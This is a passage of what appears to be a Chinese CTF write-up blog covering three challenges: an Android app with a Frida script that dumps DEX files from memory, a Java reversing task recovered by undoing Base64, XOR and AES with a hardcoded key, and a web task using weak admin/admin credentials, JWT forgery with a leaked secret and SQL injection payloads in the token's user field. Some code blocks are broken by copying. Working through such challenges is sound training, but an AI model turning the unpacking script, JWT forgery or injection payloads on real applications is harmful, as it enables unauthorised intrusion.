

Step 3: 在jadx中观察源码发现，有个名为Flag的类，进入查看源码

```

package ctf.crack.vulcrack;

import java.io.UnsupportedEncodingException;

public class Flag {
    public static String keyFirst = "Zm1jan85NztBN0c0NjJlOzJGLzc8STk0OTZFSDE=";
    public static String keySecond = "QTpISTIFNEkxRTY8fQ==";

    public static String calcFlagFirstStep() {
        return comm(Base64.decodeToString(keyFirst), 8);
    }


    public static String calcFlagSecondStep() {
        return comm(Base64.decodeToString(keySecond), 4);
    }

    public static String comm(String str, int num) {
        String res = "";
        byte[] cmdbyte = str.getBytes();
        for (byte i = (byte) 0; i < cmdbyte.length; i = (byte) (i + 1)) {
            cmdbyte[i] = (byte) (cmdbyte[i] - (i % num));
        }
        try {
            return new String(cmdbyte, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return res;
        }
    }
}

```

<https://blog.csdn.net/w1590191166>

Step 4: 执行flag中的calcFlagFirstStep()和calcFlagSecondStep()



B42E-48D3-95CE-

AGFF9D2F1D49)

Step 5: 把两个函数的运行结果拼起来, 拿到flag并提交
附上frida利用脚本

```
'use strict';

function LogPrint(log) {
    var theDate = new Date();
    var hour = theDate.getHours();
    var minute = theDate.getMinutes();
    var second = theDate.getSeconds();
    var mSecond = theDate.getMilliseconds();

    hour < 10 ? hour = "0" + hour : hour;
    minute < 10 ? minute = "0" + minute : minute;
    second < 10 ? second = "0" + second : second;
    mSecond < 10 ? mSecond = "00" + mSecond : mSecond < 100 ? mSecond = "0" + mSecond : mSecond;

    var time = hour + ":" + minute + ":" + second + ":" + mSecond;
    console.log("[ " + time + " ] " + log);
}

function getAndroidVersion() {
    var version = 0;

    if (Java.available) {
        var versionStr = Java.androidVersion;
        version = versionStr.slice(0, 1);
    } else {
        LogPrint("Error: cannot get android version");
    }
    LogPrint("Android Version: " + version);
    return version;
}

function getFunctionName() {
    var i = 0;
    var functionName = "";

    // Android 4: hook dvmDexFileOpenPartial
    // Android 5: hook OpenMemory
    // after Android 5: hook OpenCommon
    if (getAndroidVersion() > 4) { // android 5 and later version
        var artExports = Module.enumerateExportsSync("libart.so");
        for (i = 0; i < artExports.length; i++) {
            if (artExports[i].name.indexOf("OpenMemory") !== -1) {
                functionName = artExports[i].name;
                LogPrint("index " + i + " function name: " + functionName);
                break;
            } else if (artExports[i].name.indexOf("OpenCommon") !== -1) {
                functionName = artExports[i].name;
                LogPrint("index " + i + " function name: " + functionName);
                break;
            }
        }
    }
}
```

```

    }
} else { //android 4
    var dvmExports = Module.enumerateExportsSync("libdvm.so");
    if (dvmExports.length !== 0) { // check libdvm.so first
        for (i = 0; i < dvmExports.length; i++) {
            if (dvmExports[i].name.indexOf("dexFileParse") !== -1) {
                functionName = dvmExports[i].name;
                LogPrint("index " + i + " function name: " + functionName);
                break;
            }
        }
    } else { // if not load libdvm.so, check libart.so
        dvmExports = Module.enumerateExportsSync("libart.so");
        for (i = 0; i < dvmExports.length; i++) {
            if (dvmExports[i].name.indexOf("OpenMemory") !== -1) {
                functionName = dvmExports[i].name;
                LogPrint("index " + i + " function name: " + functionName);
                break;
            }
        }
    }
}
return functionName;
}

function getProcessName() {
    var processName = "";

    var fopenPtr = Module.findExportByName("libc.so", "fopen");
    var fopenFunc = new NativeFunction(fopenPtr, 'pointer', ['pointer', 'pointer']);
    var fgetsPtr = Module.findExportByName("libc.so", "fgets");
    var fgetsFunc = new NativeFunction(fgetsPtr, 'int', ['pointer', 'int', 'pointer']);

    var pathPtr = Memory.allocUtf8String("/proc/self/cmdline");
    var openFlagsPtr = Memory.allocUtf8String("r");

    var fp = fopenFunc(pathPtr, openFlagsPtr);
    if (fp.isNull() === false) {
        var buffData = Memory.alloc(128);
        var ret = fgetsFunc(buffData, 128, fp);
        if (ret !== 0) {
            processName = Memory.readCString(buffData);
            LogPrint("processName " + processName);
        }
    }
    return processName;
}

function arraybuffer2hexstr(buffer) {
    var hexArr = Array.prototype.map.call(
        new Uint8Array(buffer),
        function (bit) {
            return ('00' + bit.toString(16)).slice(-2)
        }
    );
    return hexArr.join(' ');
}

```

```

function checkDexMagic(dataAddr) {
    var magicMatch = true;
    var magicFlagHex = [0x64, 0x65, 0x78, 0x0a, 0x30, 0x33, 0x35, 0x00];

    for (var i = 0; i < 8; i++) {
        if (Memory.readU8(ptr(dataAddr).add(i)) !== magicFlagHex[i]) {
            magicMatch = false;
            break;
        }
    }

    return magicMatch;
}

function checkOdexMagic(dataAddr) {
    var magicMatch = true;
    var magicFlagHex = [0x64, 0x65, 0x79, 0x0a, 0x30, 0x33, 0x36, 0x00];

    for (var i = 0; i < 8; i++) {
        if (Memory.readU8(ptr(dataAddr).add(i)) !== magicFlagHex[i]) {
            magicMatch = false;
            break;
        }
    }

    return magicMatch;
}

function dumpDex(moduleFuncName, processName) {
    if (moduleFuncName !== "") {
        var hookFunction;
        if (getAndroidVersion() > 4) { // android 5 and later version
            hookFunction = Module.findExportByName("libart.so", moduleFuncName);
        } else { // android 4
            hookFunction = Module.findExportByName("libdvm.so", moduleFuncName); // check libdvm.so first
            if (hookFunction == null) {
                hookFunction = Module.findExportByName("libart.so", moduleFuncName); // if not load libdvm.so, check libart.so
            }
        }
        Interceptor.attach(hookFunction, {
            onEnter: function (args) {
                var begin = 0;
                var dexMagicMatch = false;
                var odexMagicMatch = false;

                dexMagicMatch = checkDexMagic(args[0]);
                if (dexMagicMatch === true) {
                    begin = args[0];
                } else {
                    odexMagicMatch = checkOdexMagic(args[0]);
                    if (odexMagicMatch === true) {
                        begin = args[0];
                    }
                }
            }

            if (begin === 0) {
                dexMagicMatch = checkDexMagic(args[1]);
                if (dexMagicMatch === true) {
                    begin = args[1];
                }
            }
        });
    }
}

```

```
begin = args[1];
    } else {
        odexMagicMatch = checkOdexMagic(args[1]);
        if (odexMagicMatch === true) {
            begin = args[1];
        }
    }
}

if (dexMagicMatch === true) {
    LogPrint("magic : " + Memory.readUtf8String(begin));
    //console.log(hexdump(begin, { offset: 0, header: false, length: 64, ansi: false }));
    var address = parseInt(begin, 16) + 0x20;
    var dex_size = Memory.readInt(ptr(address));
    LogPrint("dex_size :" + dex_size);
    var dex_path = "/data/data/" + processName + "/" + dex_size + ".dex";
    var dex_file = new File(dex_path, "wb");
    dex_file.write(Memory.readByteArray(begin, dex_size));
    dex_file.flush();
    dex_file.close();
    LogPrint("dump dex success, saved path: " + dex_path + "\n");
} else if (odexMagicMatch === true) {
    LogPrint("magic : " + Memory.readUtf8String(begin));
    //console.log(hexdump(begin, { offset: 0, header: false, length: 64, ansi: false }));
    var address = parseInt(begin, 16) + 0x0C;
    var odex_size = Memory.readInt(ptr(address));
    LogPrint("odex_size :" + odex_size);
    var odex_path = "/data/data/" + processName + "/" + odex_size + ".odex";
    var odex_file = new File(odex_path, "wb");
    odex_file.write(Memory.readByteArray(begin, odex_size));
    odex_file.flush();
    odex_file.close();
    LogPrint("dump odex success, saved path: " + odex_path + "\n");
}
},
onLeave: function (retval) {}
});
} else {
    LogPrint("Error: cannot find correct module function.");
}
}

//start dump dex file
var moduleFucntionName = getFunctionName();
var processName = getProcessName();
if (moduleFucntionName !== "" && processName !== "") {
    dumpDex(moduleFucntionName, processName);
}
}
```


java

思路



反编译java源码，逆推获取flag


过程

Step 1: 通过jadx工具进行反编译出代码如下：



Step 2: 导出之后，再导入Android Studio，查看代码逻辑，改了少部分反编译错误代码后运行：





Step 3: 查看代码逻辑，发现是用户输入值后，通过补位、AES运算和位运算后，再进行base64编码，与值“VsBDJCvuhD65/+sL+Hlf587nWula2MPcqZaq7GMVW0Vx8I9R42PXWbhCRftoFB3”相等，则用户的输入就是flag，因此下面进行逆运算。

Step 4:如上所说，要逆运算，首先先进行base64解码，代码如下：

```
public static byte[] decode(byte[] bArr){
return Base64.decode(bArr,Base64.NO_WRAP);
}
```

Step 5: 原来程序的位运算代码逻辑如下:

```
public byte[] a(byte[] bArr, int i, int[] iArr) {
    if (bArr == null || bArr.length == 0) {
        return null;
    }
    int length = bArr.length;
    System.out.println("data.length");
    System.out.println(length);
    for (int i2 = 0; i2 < length; i2++) {
        bArr[i2] = (byte) (bArr[i2] ^ i);
    }
    for (int i3 = 0; i3 < bArr.length; i3++) {
        bArr[i3] = (byte) (bArr[i3] ^ iArr[i3]);
    }
    return bArr;
}
```

由于该位运算（异或运算）可逆，可写出逆运算代码逻辑如下:

```
/**
 *
 * @param i = 22
 * @param iArr = {214, 144, 233, 254, 204, 225, 61, 183, 22, 182, 43, 103, 20, 194, 40, 251, 44, 5, 43, 103, 154, 118, 42, 190, 4,
 195, 43, 103, 170, 68, 19, 38, 73, 134, 43, 103, 153, 156, 66, 80, 244, 145, 80, 103, 239, 152, 122, 98, 50, 214};
 */
public byte[] a1(byte[] bArr, int i, int[] iArr) {
    if (bArr == null || bArr.length == 0) {
        return null;
    }
    int length = bArr.length;
    for (int i3 = 0; i3 < bArr.length; i3++) {
        bArr[i3] = (byte) (bArr[i3] ^ iArr[i3]);
    }
    for (int i2 = 0; i2 < length; i2++) {
        bArr[i2] = (byte) (bArr[i2] ^ i);
    }
    return bArr;
}
```

Step 6: 接下来进行AES逆运算，即AES解密，AES密钥在源代码中存在：

```
/**
 * @param bArr 密文，待解密
 * @param bArr2 密钥：aes_check_key!@#
 */
public static byte[] aesDecrypt(byte[] bArr, byte[] bArr2) {
    try {
        SecretKeySpec secretKeySpec = new SecretKeySpec(bArr2, "AES");
        Cipher instance = Cipher.getInstance("AES/ECB/NoPadding");
        instance.init(Cipher.DECRYPT_MODE, secretKeySpec);
        byte[] decrypt = instance.doFinal(bArr);
        System.out.println("AES解密:" + Arrays.toString(decrypt));
        return decrypt;
    } catch (Exception e) {
        e.printStackTrace();
        return new byte[0];
    }
}
```

Step 7: 结合以上三步：

(1) 首先将

"VsBDJCvuhD65/+sL+Hlf587nWula2MPcqZaq7GMVWl0Vx8l9R42PXWbhCRftoFB3"进行base64解码，调用我们Step4中写好的decode函数


(2) 之后进行位运算的，调用我们Step5中写好的异或的逆运算函数：a1

(3) 最后进行aes解密，调用我们Step6中写好的aesDecrypt函数

写出整个还原flag的函数代码为：

```
public void test(){
    byte[] base64Decode = b64.decode(b.getBytes());
    System.out.println("base64Decode:" + Arrays.toString(base64Decode));
    this.d = new d();
    byte[] a1 = this.d.a1(base64Decode, 22, this.c);
    System.out.println("位运算:" + Arrays.toString(a1));
    byte[] aesSrc = e.aesDecrypt(a1, a.getBytes());
    System.out.println("ASE解密后的字符串: " + new String(aesSrc));
}
```

(4) 该test函数运行后，结果如下：



<https://blog.csdn.net/w1590191166>


(5) 观察到flag后有多余的字符，是由于原始运算的补位形成的，咱们就把最后多余的6位去掉，在test函数中加上补位运算的逆运算后代码如下：

```

public void test(){
byte[] base64Decode = b64.decode(b.getBytes());
System.out.println("base64Decode:"+Arrays.toString(base64Decode));
this.d = new d();
byte[] a1 = this.d.a1(base64Decode, 22, this.c);
System.out.println("位运算:"+Arrays.toString(a1));
byte[] aesSrc = e.aesDecrypt(a1, a.getBytes());
System.out.println("ASE解密后的字符串: "+new String(aesSrc));
System.out.println(aesSrc.length);
byte[] target = new byte[aesSrc.length - 6];
System.arraycopy(aesSrc,0,target,0,target.length);
System.out.println("最终字符串: "+new String(target));
}

```

(6) 以上完整的test函数运算结果如下，获取flag:



<https://blog.csdn.net/w1590191166>

js_on

思路

jwt中sql注入读文件获取flag

过程

Step 1:打开url:

http://xx.changame.ichunqiu.com/login.html, 弱口令:admin/admin成功登录



这里是你的信息: key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6

Step 2:回到登录页, 发现有个注册地方, 可成功注册未注册过的账号, 如: admin2/admin2



(2) 构造攻击payload:

```
{
"user": "admin//and//1=1#",
"news": "key:xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6"
}
```

获取左边JWT:

Encoded PASTE A TOKEN HERE

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaWVWRtaW4nLyoqL2FuZC8qKi8xPTEjIiwibmV3cyI6ImtleTp4UnQqWU1EcXlDQ3hZeGk5YUVMZ2NHcG5tTTJYOgkmlJ9.Et2Ghr_QAD-2EA1RXTbRfigd4J986e0MrGDi5npgf6s
```

Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

PAYLOAD: DATA

```
"user": "admin'/**/and/**/1=1#",
"news": "key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
```

VERIFY SIGNATURE

HMACSHA256 (base64UrlEncode(header) + "." + base64UrlEncode(payload), xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6) secret base64 encoded

<https://blog.csdn.net/w1590191166>

burpsuite发包, 响应如下:

Request

Raw Params Headers Hex

Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://72050c71454df8aa5a77b0eadf8c3586e5581a6274e31.changame.ichunqiu.com/login.html
Cookie: UM_distinctid=17138957b399-0032bc153b1c78-4c1c279-1a6aad-17138957b3a2X0; Ma_ivt_2a601bdc8e748491b248cf3549594a-158575214; _jsuid_h=7336800efefbe2d0359add15da2fdec; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaWVWRtaW4nLyoqL2FuZC8qKi8xPTEjIiwibmV3cyI6ImtleTp4UnQqWU1EcXlDQ3hZeGk5YUVMZ2NHcG5tTTJYOgkmlJ9.Et2Ghr_QAD-2EA1RXTbRfigd4J986e0MrGDi5npgf6s
Upgrade-Insecure-Requests: 1

Response

Raw Headers Hex HTML Render

HTTP/1.1 200 OK
Date: Thu, 21 May 2020 11:37:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Via: 351; Se011e7,-
X-Cache: bypass
Content-Length: 366

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
  <h1>Get Out Hacker!!!</h1>
</body>
</html>
```

<https://blog.csdn.net/w1590191166>

(3) 根据两个不通响应, 能够确认此处存在sql注入漏洞

Step8: 构造攻击代码: "user": "aa'--"和"user": ""select"获取对应JWT, 发送请求包发现回包存在"Get Out Hacker!!!"字样, 说明后端有做攻击检测。

